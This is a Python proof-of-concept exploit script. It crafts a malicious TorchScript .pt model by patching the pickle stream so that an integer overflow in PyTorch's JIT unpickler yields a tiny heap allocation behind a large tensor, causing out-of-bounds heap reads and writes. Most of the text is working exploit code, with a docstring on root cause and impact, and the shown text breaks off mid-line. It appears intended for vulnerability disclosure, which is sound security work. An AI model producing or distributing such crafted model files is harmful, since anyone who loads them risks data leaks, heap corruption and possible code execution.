#!/usr/bin/env python3 """ PoC: Integer Overflow in JIT Unpickler numel×itemsize → Heap Buffer Overflow Vulnerability: In torch/csrc/jit/serialization/unpickler.cpp line 583, the expression `numel * dtype.itemsize()` performs signed integer multiplication without overflow checking. An attacker-controlled `numel` value embedded in a malicious TorchScript model's pickle stream can cause this product to overflow, resulting in a drastically undersized storage allocation. The tensor metadata (shape, strides) is set independently of the storage size, creating a tensor that claims to span thousands of elements but is backed by only a few bytes of storage. Operations on this tensor (sum, clone, numpy, fill_) read or write heap memory far beyond the allocated buffer. Impact: - Heap OOB read: leaks heap data (information disclosure) - Heap OOB write: corrupts heap metadata → crash / potential code execution Root cause: unpickler.cpp:583 storage = at::Storage( c10::Storage::use_byte_size_t(), numel * dtype.itemsize(), // INTEGER OVERFLOW — no check! std::move(storage_ptr), ...); Tested: PyTorch 2.10.0+cpu on Python 3.13.11 """ import io import os import struct import sys import zipfile import torch import torch.nn as nn def create_malicious_model(output_path): """Create a TorchScript model with an overflowed numel in the pickle stream. The pickle stream inside a .pt archive encodes tensor metadata via BINPERSID tuples. The numel field (index 4 of the tuple) controls how many bytes are allocated: `numel * dtype.itemsize()`. We set numel = 0x4000000000000001 (2^62 + 1). With float32 (itemsize=4): 0x4000000000000001 * 4 = 0x10000000000000004 Truncated to int64: 4 bytes. Then we set tensor shape to [1024, 4] = 4096 elements = 16384 bytes expected. Result: 16384 bytes read/written from a 4-byte allocation = 16380 bytes OOB. """ # Step 1: Create a legitimate TorchScript model model = torch.jit.script(nn.Linear(4, 2)) buf = io.BytesIO() torch.jit.save(model, buf) model_bytes = buf.getvalue() # Step 2: Extract the ZIP archive zin = zipfile.ZipFile(io.BytesIO(model_bytes), 'r') entries = {} for name in zin.namelist(): entries[name] = zin.read(name) zin.close() # Step 3: Modify the pickle stream in archive/data.pkl pkl = entries['archive/data.pkl'] # Find the numel field for the weight tensor (data/0). # In the pickle stream, the BINPERSID tuple for data/0 contains: # ("storage", FloatStorage, "0", "cpu", ) # The numel is encoded as BININT1 (opcode 0x4b) with value 8 (2x4 float32) # # We need to find the right BININT1 8 — it's the numel for the weight tensor. # The pattern in the pickle is: "cpu" followed by the numel byte. # Look for: b'cpu' + device_push + BININT1 + 8 cpu_marker = b'cpu' # Find first occurrence (weight tensor numel) idx = pkl.find(cpu_marker) if idx == -1: raise ValueError("Could not find 'cpu' marker in pickle") # After "cpu\xNN" there's a length prefix, then the BININT1 numel # The structure is: SHORT_BINUNICODE 3 "cpu" BININT1 # Find BININT1 (0x4b) after the cpu string numel_search_start = idx + len(cpu_marker) # Skip past the cpu string end marker to find BININT1 pos = numel_search_start while pos < len(pkl) and pkl[pos] != 0x4b: # BININT1 opcode pos += 1 if pos >= len(pkl): raise ValueError("Could not find BININT1 opcode after cpu marker") original_numel = pkl[pos + 1] print(f" Found weight numel at pickle offset {pos}: BININT1 {original_numel}") # Replace BININT1 <8> with LONG1 <8 bytes of 0x4000000000000001> # LONG1 opcode = 0x8a, followed by 1-byte length, then little-endian bytes overflow_numel = 0x4000000000000001 # * 4 (float32) = overflows to 4 numel_bytes = overflow_numel.to_bytes(8, 'little') long1_encoded = bytes([0x8a, 8]) + numel_bytes # LONG1, 8 bytes, value # Replace the 2-byte BININT1 <8> with 10-byte LONG1 encoding pkl_new = pkl[:pos] + long1_encoded + pkl[pos + 2:] print(f" Replaced with LONG1 0x{overflow_numel:016x} ({overflow_numel})") print(f" Overflow: {overflow_numel} * 4 = 0x{overflow_numel * 4:x} → truncated to {(overflow_numel * 4) & 0xFFFFFFFFFFFFFFFF}") # Step 4: Modify tensor shape from (2, 4) to (1024, 4) # The shape tuple in pickle is: BININT1 2 BININT1 4 # We need to find and change the first dim from 2 to 1024 # After the numel, there's: K\x00 (BININT1 0 = offset) then shape tuple # Shape pattern: ( K\x02 K\x04 t → ( K\x02=dim0 K\x04=dim1 # Actually shape is: (K\x02 K\x04 t = (2, 4) # We want: (M\x00\x04 K\x04 t = (1024, 4) where M = BININT2 # Find pattern after our modification point # The shape is encoded after the BININT1 0 (storage_offset) # Pattern: BININT1(K) 0x00 then open-tuple(28='(') then shape dims # Actually let me find "K\x00(" pattern = storage_offset=0, open tuple shape_marker = bytes([0x4b, 0x00, 0x28]) # BININT1 0, MARK # Search from the numel position onwards shape_pos = pkl_new.find(shape_marker, pos) if shape_pos == -1: # Try alternative: the offset might be after some other bytes # Let's search for BININT1 0 followed by tuple with BININT1 2 for search_pos in range(pos, min(pos + 30, len(pkl_new))): if pkl_new[search_pos:search_pos + 3] == bytes([0x4b, 0x00, 0x28]): shape_pos = search_pos break if shape_pos == -1: raise ValueError("Could not find shape tuple marker") # Shape starts at shape_pos + 3 (after K\x00\x28) dim0_pos = shape_pos + 3 # Expect BININT1 with dim value if pkl_new[dim0_pos] == 0x4b: # BININT1 old_dim0 = pkl_new[dim0_pos + 1] print(f" Found shape dim0 at pickle offset {dim0_pos}: BININT1 {old_dim0}") # Replace with BININT2 1024 (opcode M = 0x4d, 2 bytes LE) new_dim0 = struct.pack('